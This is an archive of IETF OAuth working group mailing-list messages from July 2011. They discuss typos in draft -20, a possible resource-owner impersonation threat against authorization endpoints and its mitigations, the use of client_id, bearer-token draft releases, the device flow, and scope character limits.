Niv Steingarten Date: Wed, 27 Jul 2011 02:29:27 +0300 Message-ID: To: Torsten Lodderstedt Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: OAuth WG Subject: Re: [OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 23:29:49 -0000 Would it be possible to consider adding this to the list of security considerations? Of course, the spec cannot cover all possible security threats, but this appears to be a realistic one which could easily be exploited if overlooked by developers (evident in the lack of scraping defense mechanisms in many applications). Is it too late to make such an amendment to the draft? Thank you, Niv On Tue, Jul 26, 2011 at 02:40, Niv Steingarten wrote: > Yes, I believe the vast majority of user-agents would block this kind > of request if it originated from a JavaScript XMLHttpRequest or such. > However, there are still scenarios in which a user-agent based client > could manipulate this vulnerability. > > For example, the client could launch the GET request to the > authorization server via an HTML tag, taking the form of a CSRF. > Since it's a blind attack, the client would likely not receive the > contents of the web-page. However, this request is still necessary > from the client since it has the side-effect of creating an access > token (or other temporary token) on the authorization server. Since it > is highly likely that a malicious client has a priori knowledge of the > structure of the authorization page and form, it does not need the > response in order to advance to the next step, and can simply send the > fake request to 'Allow' itself to access the resource owner's > resources. > > I believe this attack could be made very hard by either including a > CAPTCHA, as you suggested, or including some kind of token or nonce in > the submission of the form (which would still not prevent the attack > if the authorization server doesn't enforce same origin policy). > > Niv > > > > On Tue, Jul 26, 2011 at 02:10, Torsten Lodderstedt > wrote: >> >> Hi Niv, >> >> thank you for posting this to the list. I think you are right with your = threat description. One question: shouldn't the browser already prevent the= request to the authorization endpoint because of the same origin policy (o= r CORS restrictions)? >> >> Apart from that, a similar attack can be performed by a native applicica= tion (using an embedded browser). This kind of attack could not be prevente= d using HTTP features but by enforcing a real user interaction (password in= put, CAPTCHA). >> >> regards, >> Torsten. >> >> Am 25.07.2011 18:27, schrieb Niv Steingarten: >> >> Forwarded as per Eran's request. >> A couple of corrections to my original email: >> 1. By AJAX, I mean, AJAX like techniques (if the user agent does not enf= orce same origin policy). >> 2. When saying POST to '/authorize_callback' -- it may well be GET, if t= he authorization server mishandles the request. >> Thank you, >> Niv >> >> >> ---------- Forwarded message ---------- >> From: Eran Hammer-Lahav >> Date: Tue, Jul 26, 2011 at 01:21 >> Subject: RE: Several typos in -20 and a possible security consideration >> To: Niv Steingarten >> >> >> Please forward this message to the oauth list at oauth@ieft.org. >> >> >> >> Thanks, >> >> >> >> EHL >> >> >> >> From: Niv Steingarten [mailto:nivstein@gmail.com] >> Sent: Monday, July 25, 2011 2:52 PM >> To: draft-ietf-oauth-v2@tools.ietf.org >> Subject: Several typos in -20 and a possible security consideration >> >> >> >> Hello, >> >> >> >> I've noticed a couple of typos in -20: >> >> >> >> Section 6 (page 41): Under 'The authorization server MUST', the second b= ullet should end with the word "and", and the third bullet should end with = a full-stop. >> >> Section 10.2 (first paragraph): "...keep is client credentials confident= ial" should be "...keep *its* client credentials confidential". >> >> >> >> Regarding the security consideration -- >> >> >> >> I might be missing something, but I saw there are references to clickjac= king and to client impersonation, but I haven't seen any reference to possi= ble resource owner impersonation. >> >> For example, in the implicit grant flow, a malicious client could send a= request to the authorization endpoint via, say, AJAX, and receive the mark= up of the page asking the resource owner to authorize the client (assuming = the resource owner is signed in and no resource owner authentication is req= uired). Then, in a poorly designed authorization endpoint, the 'Allow' butt= on might be the submission button of a form whose target is '/authorize_cal= lback' on the authz server. Then, it may possible for the malicious client = to simply POST to '/authorize_callback' and authorize itself without any re= source owner intervention or knowledge that the process has even taken plac= e.=C2=A0This, of course, can be mitigated in most modern browsers if the au= thorization server verifies the source of the request using the HTTP referr= er header. >> >> >> >> Thanks for your time and for the fantastic work on OAuth, >> >> >> >> -- >> >> Niv Steingarten >> >> >> >> T: >> >> E:=C2=A0 nivstein@gmail.com >> >> W:=C2=A0http://nivstein.com >> >> >> >> >> -- >> Niv Steingarten >> T: >> E:=C2=A0 nivstein@gmail.com >> W:=C2=A0http://nivstein.com >> >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > From bcampbell@pingidentity.com Wed Jul 27 04:33:16 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5F3A721F8AF6 for ; Wed, 27 Jul 2011 04:33:16 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.954 X-Spam-Level: X-Spam-Status: No, score=-5.954 tagged_above=-999 required=5 tests=[AWL=0.023, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 1+dZ4KHHLjUq for ; Wed, 27 Jul 2011 04:33:15 -0700 (PDT) Received: from na3sys009aog102.obsmtp.com (na3sys009aog102.obsmtp.com [74.125.149.69]) by ietfa.amsl.com (Postfix) with ESMTP id 9260721F8ACE for ; Wed, 27 Jul 2011 04:33:13 -0700 (PDT) Received: from mail-qy0-f173.google.com ([209.85.216.173]) (using TLSv1) by na3sys009aob102.postini.com ([74.125.148.12]) with SMTP ID DSNKTi/3eGHy2Zr2c1x7PrJmHkDVhtR1mCpb@postini.com; Wed, 27 Jul 2011 04:33:13 PDT Received: by qyk10 with SMTP id 10so2530054qyk.11 for ; Wed, 27 Jul 2011 04:33:12 -0700 (PDT) Received: by 10.224.207.193 with SMTP id fz1mr5685002qab.43.1311766392075; Wed, 27 Jul 2011 04:33:12 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Wed, 27 Jul 2011 04:32:42 -0700 (PDT) In-Reply-To: References: From: Brian Campbell Date: Wed, 27 Jul 2011 05:32:42 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 11:33:16 -0000 Okay, looking at some of those drafts again, I see that now. Except for -16 they are all pretty similar on client_id back to -10. Apparently it was my misunderstanding. Maybe I'm the only one who doesn't get it but I do think it could be clearer. I'd propose some text but I'm still not fully sure I understand what is intended. If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST NOT or OPTIONAL to be included on token endpoint requests? Here's a specific question/example to illustrate my continued confusion - it would seem like the majority of clients that would use the Resource Owner Password Credentials grant (although 4.3.2 shows the use of HTTP Basic) would be "public" clients. How is it expected that such clients Identify themselves to the AS? The client identity, even if not something that can be strongly relied on, is useful for things like presenting a list of access grants to the user for revocation. http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-4.3.2 On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav w= rote: > Not exactly. > The current setup was pretty stable up to =9615. In =9616 I tried to clea= n it up > by moving the parameter into each token endpoint type definition. That > didn't work and was more confusing so in =9617 I reverted back to the =96= 15 > approach. > What makes this stand out in =9620 is that all the examples now use HTTP = Basic > instead of the parameters (since we decided to make them NOT RECOMMENDED)= . > So it feels sudden that client_id is gone, but none of this is actually m= uch > different from =9615 on. Client authentication is still performed the sam= e > way, and the role of client_id is just as an alternative to using HTTP Ba= sic > on the token endpoint. > I think the current text is sufficient, but if you want to provide specif= ic > additions I'm open to it. > EHL > From: Brian Campbell > Date: Tue, 26 Jul 2011 10:16:21 -0700 > To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > identification > > I'm probably somewhat biased by having read previous version of the > spec, previous WG list discussions, and my current AS implementation > (which expects client_id) but this seems like a fairly big departure > from what was in -16.=A0=A0I'm okay with the change but feel it's wroth > mentioning that it's likely an incompatible one. > That aside, I feel like it could use some more explanation in > draft-ietf-oauth-v2 because, at least to me and hence my question, it > wasn't entirely clear how client_id should be used for those cases. > On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav > wrote: > > The client_id is currently only defined for password authentication on th= e > token endpoint. If you are using Basic or any other form of authenticatio= n > (or no authentication at all), you are not going to use the client_id > parameter. > From internet-drafts@ietf.org Wed Jul 27 06:17:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7EFF821F8AE9; Wed, 27 Jul 2011 06:17:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.577 X-Spam-Level: X-Spam-Status: No, score=-102.577 tagged_above=-999 required=5 tests=[AWL=0.022, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id om7fNtKg0uuS; Wed, 27 Jul 2011 06:17:00 -0700 (PDT) Received: from ietfa.amsl.com (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 26F1921F8AC9; Wed, 27 Jul 2011 06:17:00 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable From: internet-drafts@ietf.org To: i-d-announce@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 3.56 Message-ID: <20110727131700.23436.11568.idtracker@ietfa.amsl.com> Date: Wed, 27 Jul 2011 06:17:00 -0700 Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-07.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 13:17:00 -0000 A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Protocol: Bearer Tokens Author(s) : Michael B. Jones Dick Hardt David Recordon Filename : draft-ietf-oauth-v2-bearer-07.txt Pages : 17 Date : 2011-07-27 This specification describes how to use bearer tokens when accessing OAuth 2.0 protected resources. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-07.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-07.txt From Michael.Jones@microsoft.com Wed Jul 27 06:20:58 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BEF5221F863C for ; Wed, 27 Jul 2011 06:20:57 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.512 X-Spam-Level: X-Spam-Status: No, score=-10.512 tagged_above=-999 required=5 tests=[AWL=0.087, BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id rHka1Jq-wuTA for ; Wed, 27 Jul 2011 06:20:56 -0700 (PDT) Received: from smtp.microsoft.com (smtp.microsoft.com [131.107.115.214]) by ietfa.amsl.com (Postfix) with ESMTP id 7715C21F850B for ; Wed, 27 Jul 2011 06:20:48 -0700 (PDT) Received: from TK5EX14HUBC101.redmond.corp.microsoft.com (157.54.7.153) by TK5-EXGWY-E803.partners.extranet.microsoft.com (10.251.56.169) with Microsoft SMTP Server (TLS) id 8.2.176.0; Wed, 27 Jul 2011 06:20:48 -0700 Received: from TK5EX14MBXC202.redmond.corp.microsoft.com ([169.254.2.165]) by TK5EX14HUBC101.redmond.corp.microsoft.com ([157.54.7.153]) with mapi id 14.01.0323.002; Wed, 27 Jul 2011 06:20:47 -0700 From: Mike Jones To: "oauth@ietf.org" Thread-Topic: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-07.txt Thread-Index: AQHMTF9802e6YA5Xi02hrdSD/NuIuZUAJoIg Date: Wed, 27 Jul 2011 13:20:47 +0000 Message-ID: <4E1F6AAD24975D4BA5B16804296739434986822D@TK5EX14MBXC202.redmond.corp.microsoft.com> References: <20110727131700.23436.11568.idtracker@ietfa.amsl.com> In-Reply-To: <20110727131700.23436.11568.idtracker@ietfa.amsl.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.33] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-07.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 13:20:59 -0000 This version adds a missing comma in an error response example. Thanks to = Stephen Farrell for his donation of the comma. This version should be the subject of the working group last call. -- Mike -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of i= nternet-drafts@ietf.org Sent: Wednesday, July 27, 2011 6:17 AM To: i-d-announce@ietf.org Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-07.txt A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Protocol: Bearer Tokens Author(s) : Michael B. Jones Dick Hardt David Recordon Filename : draft-ietf-oauth-v2-bearer-07.txt Pages : 17 Date : 2011-07-27 This specification describes how to use bearer tokens when accessing OAuth 2.0 protected resources. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-07.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-07.txt _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth From internet-drafts@ietf.org Wed Jul 27 06:45:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7ACDF21F8B21; Wed, 27 Jul 2011 06:45:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.577 X-Spam-Level: X-Spam-Status: No, score=-102.577 tagged_above=-999 required=5 tests=[AWL=0.022, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id byN724zOUTP3; Wed, 27 Jul 2011 06:45:08 -0700 (PDT) Received: from ietfa.amsl.com (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1977721F8AE9; Wed, 27 Jul 2011 06:45:08 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable From: internet-drafts@ietf.org To: i-d-announce@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 3.56 Message-ID: <20110727134508.1155.48861.idtracker@ietfa.amsl.com> Date: Wed, 27 Jul 2011 06:45:08 -0700 Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 13:45:08 -0000 A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Protocol: Bearer Tokens Author(s) : Michael B. Jones Dick Hardt David Recordon Filename : draft-ietf-oauth-v2-bearer-08.txt Pages : 17 Date : 2011-07-27 This specification describes how to use bearer tokens when accessing OAuth 2.0 protected resources. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-08.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-08.txt From Michael.Jones@microsoft.com Wed Jul 27 06:46:37 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 07E7511E8099 for ; Wed, 27 Jul 2011 06:46:37 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.516 X-Spam-Level: X-Spam-Status: No, score=-10.516 tagged_above=-999 required=5 tests=[AWL=0.083, BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id GB5bfqvEIqzR for ; Wed, 27 Jul 2011 06:46:36 -0700 (PDT) Received: from smtp.microsoft.com (mailb.microsoft.com [131.107.115.215]) by ietfa.amsl.com (Postfix) with ESMTP id 8B9F211E8095 for ; Wed, 27 Jul 2011 06:46:36 -0700 (PDT) Received: from TK5EX14HUBC107.redmond.corp.microsoft.com (157.54.80.67) by TK5-EXGWY-E802.partners.extranet.microsoft.com (10.251.56.168) with Microsoft SMTP Server (TLS) id 8.2.176.0; Wed, 27 Jul 2011 06:46:36 -0700 Received: from TK5EX14MBXC202.redmond.corp.microsoft.com ([169.254.2.165]) by TK5EX14HUBC107.redmond.corp.microsoft.com ([157.54.80.67]) with mapi id 14.01.0323.002; Wed, 27 Jul 2011 06:46:36 -0700 From: Mike Jones To: "oauth@ietf.org" Thread-Topic: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt Thread-Index: AQHMTGNqEzIftesX/EGmqnwb6WdXfJUALi1A Date: Wed, 27 Jul 2011 13:46:35 +0000 Message-ID: <4E1F6AAD24975D4BA5B1680429673943498692EA@TK5EX14MBXC202.redmond.corp.microsoft.com> References: <20110727134508.1155.48861.idtracker@ietfa.amsl.com> In-Reply-To: <20110727134508.1155.48861.idtracker@ietfa.amsl.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.33] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 13:46:37 -0000 Updated references to oauth-v2 and httpbis. -- Mike -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of i= nternet-drafts@ietf.org Sent: Wednesday, July 27, 2011 6:45 AM To: i-d-announce@ietf.org Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Protocol: Bearer Tokens Author(s) : Michael B. Jones Dick Hardt David Recordon Filename : draft-ietf-oauth-v2-bearer-08.txt Pages : 17 Date : 2011-07-27 This specification describes how to use bearer tokens when accessing OAuth 2.0 protected resources. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-08.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-bearer-08.txt _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth From andrewarnott@gmail.com Wed Jul 27 07:46:35 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BE64711E80BF for ; Wed, 27 Jul 2011 07:46:35 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.598 X-Spam-Level: X-Spam-Status: No, score=-3.598 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id c2LavamOogM4 for ; Wed, 27 Jul 2011 07:46:35 -0700 (PDT) Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id 039D911E80BD for ; Wed, 27 Jul 2011 07:46:34 -0700 (PDT) Received: by qwc23 with SMTP id 23so1122479qwc.31 for ; Wed, 27 Jul 2011 07:46:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=BjBRkeZUOTzCy5mGVDWayrypEbgnHCtbeyd0aP7MykY=; b=Y8TM8+2OsvVcKwGbt1tISsI5IWs5Jsw+CKtH98o57Cu9hgjW+gnnB6QanrtnAZ9rIl fx1qWs6kfNll6sg8AfoYhNsHeP1OMgU+EisCSw2Wqz6WZXNWytGfsjqh8cWLQWtlaQjh tX/lhokIOGb0S5LB9m1EFx7HIcSXMXhxO1Ifw= Received: by 10.229.85.134 with SMTP id o6mr81285qcl.238.1311777994114; Wed, 27 Jul 2011 07:46:34 -0700 (PDT) MIME-Version: 1.0 Received: by 10.229.70.204 with HTTP; Wed, 27 Jul 2011 07:46:14 -0700 (PDT) In-Reply-To: References: From: Andrew Arnott Date: Wed, 27 Jul 2011 08:46:14 -0600 Message-ID: To: Marius Scurtescu Content-Type: multipart/alternative; boundary=0016364ee3605d08e804a90e1dff Cc: "OAuth WG \(oauth@ietf.org\)" Subject: Re: [OAUTH-WG] OAuth2 and clients without browsers X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 14:46:35 -0000 --0016364ee3605d08e804a90e1dff Content-Type: text/plain; charset=ISO-8859-1 Yes, thank you. I'm glad there's already a spec for this. -- Andrew Arnott "I [may] not agree with what you have to say, but I'll defend to the death your right to say it." - S. G. Tallentyre On Tue, Jul 26, 2011 at 4:29 PM, Marius Scurtescu wrote: > I think you are describing the device profile: > http://tools.ietf.org/html/draft-recordon-oauth-v2-device-00 > > Is that correct? > > Marius > > > On Tue, Jul 26, 2011 at 12:18 PM, Andrew Arnott > wrote: > > Trying a different DL... > > -- > > Andrew Arnott > > "I [may] not agree with what you have to say, but I'll defend to the > death > > your right to say it." - S. G. Tallentyre > > > > > > On Wed, Jul 20, 2011 at 6:38 AM, Andrew Arnott > > wrote: > >> > >> The recent OAuth 2 specs seem to omit the scenario of a client that > cannot > >> host or invoke a browser but could display a URL to the user and ask the > >> user to enter a PIN. Was this an intentional omission? If I am > correct, > >> this forces those clients to continue to use OAuth 1.0, which is not > only > >> less desirable but it will limit which services they can access. > >> Thoughts? > >> -- > >> Andrew Arnott > >> "I [may] not agree with what you have to say, but I'll defend to the > death > >> your right to say it." - S. G. Tallentyre > > > > > > _______________________________________________ > > OAuth mailing list > > OAuth@ietf.org > > https://www.ietf.org/mailman/listinfo/oauth > > > > > --0016364ee3605d08e804a90e1dff Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Yes, thank you. =A0I'm glad there's already a spec for this.
--
Andrew Arnott
"I [may] not agree with what you hav= e to say, but I'll defend to the death your right to say it." - S.= G. Tallentyre


On Tue, Jul 26, 2011 at 4:29 PM, Marius = Scurtescu <ms= curtescu@google.com> wrote:
http://tools.ietf.org/html/draft-recordon-oauth-v2-device-0= 0

Is that correct?

Marius


On Tue, Jul 26, 2011 at 12:18 PM, Andrew Arnott <andrewarnott@gmail.com> wrote:
> Trying a different DL...
> --
> Andrew Arnott
> "I [may] not agree with what you have to say, but I'll defend= to the death
> your right to say it." - S. G. Tallentyre
>
>
> On Wed, Jul 20, 2011 at 6:38 AM, Andrew Arnott <andrewarnott@gmail.com>
> wrote:
>>
>> The recent OAuth 2 specs seem to omit the scenario of a client tha= t cannot
>> host or invoke a browser but could display a URL to the user and a= sk the
>> user to enter a PIN. =A0Was this an intentional omission? =A0If I = am correct,
>> this forces those clients to continue to use OAuth 1.0, which is n= ot only
>> less desirable but it will limit which services they can access. >> Thoughts?
>> --
>> Andrew Arnott
>> "I [may] not agree with what you have to say, but I'll de= fend to the death
>> your right to say it." - S. G. Tallentyre
>
>
> ________________________= _______________________
> OAuth mailing list
> OAuth@ietf.org
> https://www.ietf.org/mailman/listinfo/oauth
>
>

--0016364ee3605d08e804a90e1dff-- From jerome.marcon@alcatel-lucent.com Wed Jul 27 07:52:48 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0DED321F8B25 for ; Wed, 27 Jul 2011 07:52:48 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.249 X-Spam-Level: X-Spam-Status: No, score=-6.249 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HELO_EQ_FR=0.35, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Sm4YrOaYYsp9 for ; Wed, 27 Jul 2011 07:52:47 -0700 (PDT) Received: from smail2.alcatel.fr (smail2.alcatel.fr [62.23.212.57]) by ietfa.amsl.com (Postfix) with ESMTP id 7868321F86BF for ; Wed, 27 Jul 2011 07:52:43 -0700 (PDT) Received: from FRMRSSXCHHUB02.dc-m.alcatel-lucent.com (FRMRSSXCHHUB02.dc-m.alcatel-lucent.com [135.120.45.62]) by smail2.alcatel.fr (8.14.3/8.14.3/ICT) with ESMTP id p6REqaK9008322 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 27 Jul 2011 16:52:38 +0200 Received: from FRMRSSXCHMBSA2.dc-m.alcatel-lucent.com ([135.120.45.35]) by FRMRSSXCHHUB02.dc-m.alcatel-lucent.com ([135.120.45.62]) with mapi; Wed, 27 Jul 2011 16:52:36 +0200 From: "MARCON, JEROME (JEROME)" To: Mike Jones , "oauth@ietf.org" Date: Wed, 27 Jul 2011 16:52:33 +0200 Thread-Topic: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt Thread-Index: AQHMTGNqEzIftesX/EGmqnwb6WdXfJUALi1AgAAPiUA= Message-ID: References: <20110727134508.1155.48861.idtracker@ietfa.amsl.com> <4E1F6AAD24975D4BA5B1680429673943498692EA@TK5EX14MBXC202.redmond.corp.microsoft.com> In-Reply-To: <4E1F6AAD24975D4BA5B1680429673943498692EA@TK5EX14MBXC202.redmond.corp.microsoft.com> Accept-Language: fr-FR, en-US Content-Language: fr-FR X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: fr-FR, en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Scanned-By: MIMEDefang 2.64 on 155.132.188.80 Subject: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 14:52:48 -0000 Mike, Regarding the allowed characters for scope values (grammar of "scope-v"), i= s the non-support of percent encoding intentional ? That would preclude sco= pe values to be (every kind of) UTF-8 strings, or URNs, or JSON (short) pay= load, etc. This character set limitation does not exist in the core spec, wherever sco= pe parameter can be included in a request or response, either because perce= nt encoding is usable, or else because scope parameter is a JSON string. It seems besides strange that the set of characters safe to use for scope v= alues is not defined in the core spec, and instead is constrained by/depend= ent from the type of access token used (here, bearer token). Note that this question was raised also by the Liaison Statement received f= rom the Open Mobile Alliance. Best regards, Jerome -----Message d'origine----- De=A0: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] De la part de= Mike Jones Envoy=E9=A0: mercredi 27 juillet 2011 15:47 =C0=A0: oauth@ietf.org Objet=A0: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-08.txt Updated references to oauth-v2 and httpbis. -- Mike 